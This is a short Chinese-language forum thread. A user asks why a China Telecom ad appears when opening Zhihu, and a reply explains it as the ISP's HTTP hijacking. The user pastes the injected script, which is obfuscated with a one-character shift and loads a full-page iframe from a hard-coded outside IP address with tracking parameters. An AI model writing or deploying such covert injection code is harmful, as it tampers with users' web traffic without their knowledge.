打开知乎结果浮出电信的广告, 怎么做到的(保存了一段看不懂的 js)?

[jiyinyiyong]

就是右下角向上展开一页广告, 十几秒时候自动收缩消失
我下意识去翻网页源码, 结果是这么串东西.. js 写成这样好可怕..
https://gist.github.com/b8814fc1b5f816618fbe
<script>var d="=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?gvodujpo!mpbeBuusjcvuf)*|wbs!g>epdvnfou/hfuFmfnfouCzJe)#g#*<wbs!tfswfs>#iuuq;00331/2:2/269/7:;21116#<wbs!sfrvjsfe>#beje>311:31'uddb>NEV4PUBxNUF6O{l1'vsjq>418:985879'psmv>bIS1dEpwM4e4ez67bHmpeT6kc31w'tqje>393:1:2444'bsfb>25'ut>2437384396#<jg)tfmg/epdvnfou/mpdbujpo>>xjoepx/epdvnfou/VSM!''!epdvnfou/cpez/dmjfouXjeui?>611!''!epdvnfou/cpez/dmjfouIfjhiu?>611*|g/tsd>tfswfs,#0b0t@g";function i(_,__){_+=__;var $="";for(var u=0;u<_.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c=">betuzmf`nto/iunm'#,sfrvjsfe,#'bpsmv>bIS1dEpwM{JzND5yPUFvNUV5MkZ6PkFxNEB2M{JxNElzND9>'q2bsn>5:9'q3bsn>561'q4bsn>26'q5bsn>6'q6bsn>4'q7bsn>2'bqqe>1'ibtDpvou>1'ibtXijufVtfs>1#<~fmtf|g/tsd>tfswfs,#0b0q@#,sfrvjsfe,#'qvtiGmbh>1#<~~=0tdsjqu?=0ifbe?=cpez!pompbe>#mpbeBuusjcvuf)*#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op?=jgsbnf!je>#g#!gsbnfCpsefs>1!xjeui>211&!ifjhiu>211&!tdspmmjoh>bvup!tsd>##?=0jgsbnf?=0cpez?=0iunm?";document.write(i(d,c));</script>

[johnnycai]

投诉之···是电信的http劫持··